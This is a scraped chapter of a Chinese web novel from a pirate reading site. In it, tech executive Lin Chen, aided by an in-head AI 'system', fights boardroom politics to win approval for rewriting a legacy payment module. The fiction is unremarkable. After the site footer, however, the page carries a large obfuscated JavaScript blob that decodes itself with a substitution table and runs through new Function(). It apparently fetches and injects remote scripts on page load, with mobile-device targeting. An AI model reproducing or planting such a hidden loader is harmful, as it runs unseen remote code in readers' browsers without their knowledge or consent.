首页
第34章 陈明远的杀招
返回

第34章 陈明远的杀招

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第34章陈明远的杀招(第1/2页)
    1
    凌晨四点,星河科技大厦。
    “星语”项目区的灯光还亮着六成。行军床上横七竖八躺着补觉的人,鼾声、梦话、空调的低噪混成一片。办公桌上散落着空咖啡杯、捏扁的泡面桶、拆开的能量棒包装。
    林辰站在监控大屏前,看着过去二十四小时的数据汇总。
    系统可用性:99.92%(较迁移前提升0.6个百分点)
    平均响应时间:113ms(下降28%)
    核心错误率:0.05%(下降72%)
    数据库查询性能:提升3倍
    数据很漂亮。
    但林辰的眉头没有松开。
    过去三天,团队在完成数据库迁移后,士气达到了一个高峰。每个人都相信,最难的部分已经过去,剩下的二十三天只是按部就班地填坑。王海清甚至开始规划重构完成后,团队去哪里团建——三亚还是丽江。
    但林辰知道,真正的硬仗,现在才开始。
    因为“星语”系统里,埋着一个三年前留下的、所有人都知道但没人敢碰的雷。
    支付核心模块。
    “林总,还没睡?”
    王海清揉着眼睛走过来,手里端着杯速溶咖啡。这位技术总监过去十天瘦了八斤,眼袋垂到颧骨,但眼睛里那簇火还没灭。
    “看看数据。”林辰侧身,让出屏幕视野,“支付模块的延迟曲线,注意到没有?”
    王海清凑近,盯着那条微微上扬的线看了几秒,脸色变了。
    “每小时涨0.3毫秒……这不对劲。支付模块应该已经稳定运行三年了,怎么会……”
    “不是模块本身的问题。”林辰调出调用链分析图,“你看,支付模块上游的‘风控服务’,最近七天平均响应时间从50毫秒涨到了120毫秒。而风控服务依赖的‘用户信用服务’,响应时间从30毫秒涨到了80毫秒。这两个服务的代码,最近动过吗?”
    “没有。”王海清很肯定,“支付链路的核心服务,重构计划里排在三周后。按照您的吩咐,先动外围,再动核心,避免同时改太多引发雪崩。”
    “那为什么响应时间在涨?”
    两人沉默了几秒。
    然后王海清突然想到什么,脸色一白:“除非……除非是技术债务的连锁反应。我们改了数据库,优化了网关,外围服务性能提升,导致核心链路的流量分配变了。原来被慢服务拖累的支付模块,现在吃到了更多真实流量,把底层问题暴露出来了。”
    他说得很快,很急,像是在说服自己。
    林辰点点头:“我也是这个判断。但这意味着,支付模块的问题,比我们预估的要严重得多。之前响应时间‘正常’,是因为被其他瓶颈掩盖了。现在瓶颈解除,它撑不住了。”
    “那我们……”王海清咽了口唾沫,“要提前动支付模块?”
    “必须动。”林辰说,“但怎么动,是个问题。支付模块涉及资金流,线上不能出任何差错。而且代码是三年前的老架构,写的人已经离职,文档不全,测试覆盖低。动它,风险极大。”
    “可如果不动……”王海清看着那条还在缓慢爬升的延迟曲线,“照这个趋势,最多一周,支付模块的平均响应时间会突破200毫秒的SLA红线。到时候支付超时、掉单、资损……后果比系统崩溃还严重。”
    两人对视一眼,都看到了对方眼里的沉重。
    这才是真正的深水区。
    “召集核心组,开紧急会。”林辰看了眼时间,“四点二十,会议室。给你十分钟,把风控、信用、支付三个服务的历史问题清单调出来。”
    “好!”
    王海清转身跑向工位。林辰留在原地,看着大屏上那些跳动的数字,在心里呼叫系统。
    “系统,分析支付模块的技术债务和重构风险。”
    【收到。正在扫描代码库、提交记录、线上监控、事故报告……】
    【分析中……】
    【分析完成。】
    一份详细的报告在视野中展开,用红色高亮标出了十七个致命风险点:
    1.资金对账逻辑存在竞态条件,在并发场景下可能丢单(历史发生3次,造成损失12.8万元)
    2.重试机制设计缺陷,极端情况下可能重复扣款(未暴露,但代码逻辑存在漏洞)
    3.数据库事务隔离级别设置错误,可能读到脏数据
    4.缓存与数据库一致性保障缺失,7%的概率出现短时数据不一致
    5.分布式锁实现有问题,锁超时时间设置过短,高并发下可能锁失效……
    每一条,都足以引发线上事故。
    更麻烦的是,这些问题的修复,都需要深入支付核心逻辑。而支付代码是三年前用一套自研框架写的,框架作者两年前离职,现在团队里没人完全懂这套框架的设计哲学。
    “所以,解决方案是?”林辰在脑海里问。
    【方案一:渐进式重构。在现有框架内逐步修复问题,预计耗时4-6周,风险中等,但无法根治架构缺陷。】
    【方案二:整体重写。用现代微服务框架重写支付模块,预计耗时2-3周,风险极高(切换期间可能出大事故),但一劳永逸。】
    【方案三:外部方案。接入第三方支付中间件(如支付宝的星云、微信的支付中台),预计耗时1-2周,风险低,但会产生长期依赖和成本。】
    【综合建议:方案二。理由:1.宿主有AI超脑辅助,可大幅降低重写风险;2.长远看,自研支付核心是公司核心竞争力,不能依赖第三方;3.时间窗口紧迫,必须快刀斩乱麻。】
    林辰快速浏览着建议。
    整体重写,两周。
    赌注很大。
    但如果成了,支付模块将脱胎换骨,成为“星语”系统最坚实的基石。而且他能借此在技术团队树立绝对权威——连支付模块都能在两周内重写完成,还有什么事做不到?
    “风险点怎么控制?”他问。
    【可采取以下措施:】
    【1.并行运行:新旧两套支付系统并行,流量逐步切流,有问题秒级回退。】
    【2.混沌工程:在测试环境模拟极端场景(网络抖动、机器宕机、数据不一致),提前暴露问题。】
    【3.全链路压测:模拟十倍于当前峰值的流量,验证新系统抗压能力。】
    【4.灰度发布:先切1%流量,观察24小时,无问题再逐步放大。】
    很专业,很周全。
    但需要投入的资源,也是天文数字——至少需要二十人的专项团队,三套独立测试环境,以及大量的计算和存储资源。
    而这些资源,需要陈明远点头。
    因为公司的服务器、带宽、云资源采购,归陈明远管。
    林辰深吸一口气。
    他知道,真正的战斗,要开始了。
    2
    上午九点,高管周会。
    林辰走进会议室时,里面已经坐了七八个人。李铭还没到,陈明远坐在主位左手边,正低头看手机。看见林辰进来,他抬了抬眼,没说话。
    “林总,早。”CTO张涛打了个招呼,眼神有些复杂。
    “早。”林辰在他对面坐下,打开笔记本。
    其他人陆续进来。九点整,李铭准时推门而入,手里拿着保温杯,表情平静。
    “开始吧。”他坐下,扫了一圈,“林辰,先说说‘星语’的重构进展。”
    “过去十天,我们完成了数据库迁移、网关优化、监控体系建设等基础工作。”林辰调出PPT,投在幕布上,“系统可用性从99.3%提升到99.92%,平均响应时间下降28%,核心错误率下降72%。第一阶段目标,基本达成。”
    数据很漂亮,会议室里响起轻微的赞叹声。
    “但我们也发现了一个新问题。”林辰切换下一页,是支付模块的延迟曲线,“支付核心链路的性能,在缓慢恶化。根因是三年前遗留的技术债务,之前被外围瓶颈掩盖,现在暴露出来了。”
    他把问题和风险简要讲了一遍,最后说:“所以,我申请成立支付重写专项组,用两周时间,整体重写支付模块。需要二十人团队,以及相应的服务器、测试环境资源。”
    说完,他看向李铭。
    李铭没说话,手指在桌面上轻轻敲着。
    “两周?重写支付模块?”陈明远先开口了,声音里带着毫不掩饰的质疑,“林总,我不是技术出身,但也知道支付系统有多复杂。两周重写,还要保证线上稳定,这听起来……有点天方夜谭吧?”
    “我们有详细的技术方案和风险控制措施。”林辰说,“并行运行、灰度发布、混沌工程、全链路压测。只要资源到位,我可以保证,风险可控。”
    “资源?”陈明远笑了,看向财务总监刘薇,“刘总监,公司这个季度的服务器预算,还剩多少?”
    刘薇推了推眼镜:“按照年初预算,Q2的服务器采购额度还剩三百万。但上周林总的项目已经申请了五百万的专项预算,如果再加支付重写,至少还需要两百万的服务器和带宽资源。这……超预算了。”
    “而且,”陈明远接过话头,“二十人的专项组,意味着要从其他项目抽人。现在公司在做的,除了‘星语’,还有‘智能外呼’试点、‘数据分析平台’升级、‘客户关系系统’重构。每个项目都缺人,都喊资源紧张。林总一口气要抽走二十个熟手,其他项目怎么办?停摆吗?”
    他说得有理有据,会议室里其他几个项目负责人纷纷点头,看向林辰的眼神带上了不满。
    “陈总说的有道理。”CTO张涛开口了,语气谨慎,“林总,支付模块的问题确实要解决,但能不能用更温和的方式?比如先优化现有代码,而不是整体重写?这样投入小,风险也低。”
    “温和的方式解决不了根本问题。”林辰摇头,“支付模块的架构缺陷是系统性的,修补只会让代码更乱,债务更重。而且,我们没时间了——按照现在的性能恶化速度,最迟下周末,支付延迟就会突破红线,引发客诉和资损。到那时候再救火,代价更大。”
    “可两周重写,风险实在太高了。”一个产品总监小声说,“万一出问题,损失的不仅是钱,还有客户信任。这个责任,谁担得起?”
    会议室安静下来。
    所有人都看向林辰。
    林辰沉默了三秒,然后说:“我担。”
    他说得很平静,但字字清晰。
    “如果重写失败,引发线上事故,我辞职。如果造成经济损失,我个人承担——当然,以我的能力,可能赔不起,但我可以签协议,用未来十年的收入来还。”
    这话太重了。
    连李铭都抬起头,深深看了林辰一眼。
    陈明远脸色变了变,但很快恢复:“林总,这不是赌气的事。公司运作要讲规则,讲流程。你说担责就担责,那要制度干什么?而且,就算你愿意担,公司也不能真让你赔——传出去,星河科技的脸往哪搁?”
    “那陈总的意思是?”
    “我的意思是,按规矩来。”陈明远坐直身体,“既然有重大技术风险,就应该启动‘重大项目风险评估流程’。成立评审委员会,对技术方案、资源需求、风险预案进行全面评估。委员会投票通过,才能立项。”
    (本章未完,请点击下一页继续阅读)第34章陈明远的杀招(第2/2页)
    他说得很官方,很正确。
    但林辰知道,这是拖字诀。
    “重大项目风险评估流程”,从组建委员会、收集材料、组织评审到出结论,至少需要一周。再加上扯皮、修改、再评审,两周能走完流程就不错了。
    而支付模块,等不了两周。
    “我同意陈总的建议。”李铭突然开口了。
    所有人都看向他。
    “公司有制度,就要遵守。”李铭放下保温杯,目光扫过全场,“但支付模块的问题也确实紧急。所以,我提个折中方案:评审流程要走,但不能按常规节奏。三天,我要看到结论。”
    “三天?”陈明远皱眉,“李总,这太赶了,材料都准备不完……”
    “那就加班准备。”李铭打断他,语气不容置疑,“林辰,你负责技术方案和风险预案,明天下午五点前提交。陈明远,你牵头组建评审委员会,成员包括技术、产品、财务、法务、合规的核心负责人。后天上午九点,正式评审。大后天,我要看到投票结果。”
    他说完,看向林辰和陈明远:“有问题吗?”
    “没有。”林辰说。
    “……没有。”陈明远脸色不太好看,但还是点头了。
    “散会。”李铭起身,走到门口时停下,回头看了林辰一眼,“林辰,来我办公室一趟。”
    3
    CEO办公室在顶层,落地窗外是整个CBD的景观。
    李铭关上门,指了指沙发:“坐。”
    林辰坐下。李铭没去办公桌后,而是在他对面坐下,递过来一支烟。林辰接过,李铭自己也点了一支,两人沉默地抽了几口。
    “压力很大吧?”李铭先开口。
    “还行。”林辰说。
    “别硬撑。”李铭笑了笑,“十天瘦了十斤,黑眼圈跟熊猫似的。苏雨晴没给你打电话?”
    “打了,让我注意身体。”
    “那你听了吗?”
    “听了。每天睡四小时,很注意了。”
    李铭被逗笑了,摇摇头:“你啊,跟我年轻时一个德行。不服输,不认怂,什么事都想做到最好。但林辰,我得提醒你,做企业不是写代码,不是把所有问题都解决了就叫成功。有时候,你得学会妥协,学会借力,学会……政治。”
    最后两个字,他说得很轻,但很重。
    林辰没说话,等他的下文。
    “陈明远为什么卡你,你知道吗?”李铭问。
    “知道。我动了他的蛋糕。”
    “不止。”李铭弹了弹烟灰,“你动了他的根本。星河科技是技术驱动的公司,但这些年,销售和市场的话语权越来越大。为什么?因为陈明远能带来客户,能带来收入。技术团队在他眼里,是成本中心,是支持部门。而你一来,就要用技术重塑业务,要把技术变成利润中心。这是颠覆他的权力根基。”
    “所以他要打压我。”
    “对,但也不全对。”李铭看着林辰,“他不仅仅是想打压你,是想让你失败,想证明李铭看走眼了,想重新拿回技术线的话语权。所以他不会让你顺利拿到资源,不会让你轻松完成重构。接下来的评审会,他会设置各种障碍。你要有心理准备。”
    “我有准备。”林辰说。
    “光有准备不够,你得有筹码。”李铭站起身,走到窗边,“董事会那边,对‘星语’项目的进展很关注。连续三年增长放缓,他们开始怀疑公司的技术路线是否正确。这次重构,是证明,也是赌注。成了,星河科技能再上一个台阶。输了,我也得跟着倒霉。”
    他转过身,看着林辰:“所以我给你交个底。评审会,我会支持你。但我也只能投一票。剩下的,得靠你自己去争取。技术、产品那边,问题不大,他们知道轻重。但财务、法务、合规,都是陈明远的人。你得说服他们,至少,不能让他们强烈反对。”
    “怎么说服?”
    “数据,案例,利益。”李铭走回沙发,坐下,“财务关心投入产出比,你要算清楚,重写支付模块,长期能省多少钱,能赚多少钱。法务关心合规风险,你要证明新系统在资金安全、数据隐私、审计追溯上,比老系统更可靠。合规关心监管要求,你要拿出具体的合规方案,比如怎么通过等保三级,怎么满足央行对支付机构的技术要求。”
    他说得很具体,很实在。
    林辰认真听着,在心里记下。
    “还有一点。”李铭顿了顿,“陈明远可能会找外援。我听到风声,他在接触‘智付云’,一家做支付解决方案的第三方公司。他可能会在评审会上提出,与其自研,不如采购。你得有应对方案。”
    智付云。
    林辰知道这家公司,行业里做支付中间件的头部玩家,服务过不少大厂。但费用昂贵,而且一旦接入,就会被绑定——数据、业务逻辑、技术架构,都会受制于人。
    “我明白了。”林辰点头。
    “去吧。”李铭掐灭烟,“好好准备。这一仗,你必须赢。”
    林辰站起身,走到门口时,李铭又叫住他。
    “林辰。”
    “李总?”
    “别让我失望。”
    林辰看着他,点了点头,推门离开。
    4
    回到二十八层,办公区里气氛压抑。
    王海清迎上来,脸色焦虑:“林总,陈副总那边开始动作了。他让财务部重新审计我们过去十天的所有开支,说要‘确保预算使用合规’。还让HR调了项目组所有人的加班记录,说怀疑有虚报。”
    “让他查。”林辰声音平静,“账目清楚,加班真实,他查不出什么。”
    “可是这么一搞,人心惶惶啊。刚才测试组的小刘被HR叫去谈话,回来眼睛都红了,说公司是不是不信任我们……”
    “召集所有人,十分钟后开会。”林辰说。
    “现在?”
    “就现在。”
    十分钟后,项目组八十多号人,挤在办公区里。很多人站着,表情不安,交头接耳。
    林辰走到中央,没拿话筒,声音也不大,但每个人都听得清楚。
    “我知道,有些人被叫去谈话了。我知道,有些人在担心,公司是不是不信任我们,这个项目是不是要黄了。”他停顿了一下,目光扫过每一张脸,“我现在告诉你们:是,公司里确实有人不信任我们,确实有人想把这个项目搞黄。”
    很直接,很赤裸。
    人群一阵骚动。
    “但我也告诉你们,”林辰提高声音,“这个项目会不会黄,不取决于他们,取决于我们。取决于我们能不能把支付模块重写好,能不能把系统性能提上去,能不能用结果,打所有人的脸。”
    他走到白板前,拿起笔,画了一个简单的坐标轴。
    横轴是时间,纵轴是系统性能。他在上面点了两个点:一个是十天前,系统可用性99.3%;一个是现在,99.92%。
    “十天,我们做到了什么,数据不会说谎。但这不够,远远不够。因为支付模块的问题,像一颗定时炸弹,随时可能把我们的努力炸得粉碎。所以接下来三天,我们要做一件事:准备一份无懈可击的技术方案,在评审会上,堂堂正正地告诉所有人,我们能行,我们必须行。”
    他在“现在”的位置,画了一个向上的箭头,箭头上写:支付重写,两周。
    “但这很难。难在技术,难在时间,更难在——有人不想让我们做成。”林辰放下笔,转身看着团队,“所以我现在问你们:怕吗?”
    没人说话。
    但很多人的眼神,从不安变成了坚定。
    “我怕。”林辰说,“我怕失败,怕让信任我的人失望,怕对不起你们这十天不眠不休的努力。但怕解决不了问题。我们能做的,只有一件事:把方案做得足够扎实,把代码写得足够健壮,把测试做得足够全面。做到让所有质疑的人,无话可说。”
    他停顿了一下,声音放缓:“但这需要所有人,再拼三天。三天,不回家,不睡觉,把所有精力都投入到方案准备上。愿意跟我拼的,留下。家里有事,身体撑不住,想退出的,我也不怪你们。现在,做选择。”
    他说完,看着人群。
    三秒,五秒,十秒。
    第一个人举起手,是王海清:“我干。”
    第二个人,李浩:“算我一个。”
    第三个人,张薇:“加一。”
    第四、第五、第六……
    八十多只手,全部举起。
    没有一个人退出。
    林辰看着这一幕,鼻子有点发酸。但他忍住,点了点头。
    “好。那我们就干。现在分任务:架构组,王海清负责,今晚十二点前,输出支付重写的详细技术方案,包括架构设计、模块拆分、接口定义。数据库组,李浩负责,设计新支付系统的数据模型和迁移方案。测试组,陈静负责,制定全链路压测和混沌工程方案。产品组,输出业务需求文档和验收标准。项目管理组,我负责,整合所有材料,准备评审汇报。”
    他语速很快,但条理清晰。
    “所有人,记住一点:我们不是在应付评审,是在为接下来两周的实战做准备。方案里的每一行设计,都可能成为线上的一颗雷。所以,认真,再认真。开始干活!”
    人群轰然散开,回到工位。键盘声瞬间密集如暴雨。
    林辰回到自己的临时工位,打开电脑。在脑海里呼叫系统。
    “系统,启动AI超脑模块,辅助支付重写方案设计。要求:兼顾高性能、高可用、资金安全、可扩展性,并且要能通过等保三级和支付业务合规审计。”
    【收到。正在调用行业最佳实践、开源方案、合规要求数据库……】
    【方案生成中……预计耗时2小时。】
    【提示:此级别方案设计将消耗今日剩余的全部算力配额。是否继续?】
    “继续。”
    【确认。方案生成开始。】
    林辰靠在椅子上,闭上眼睛。
    脑海深处,金色的数据流开始奔涌。无数架构图、代码片段、设计模式、故障案例、合规条款,被系统拆解、分析、重组,像一台精密的机器,在构建一座前所未有的大厦。
    而他,是这座大厦的总设计师。
    两小时后,方案初成。
    林辰睁开眼,瞳孔深处有金芒一闪而逝。他活动了一下僵硬的脖颈,开始敲击键盘。
    屏幕上,一行行文字、一张张图表、一个个流程,如泉水般涌出。
    那不是一个人在写。
    是一个拥有神级AI系统的人,在将未来的技术图景,搬运到现在。
    窗外的天色,从午后到黄昏,从黄昏到深夜。
    办公区里的灯,一盏没灭。
    键盘声,一声没停。
    这是一场战争。
    而他们,没有退路。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();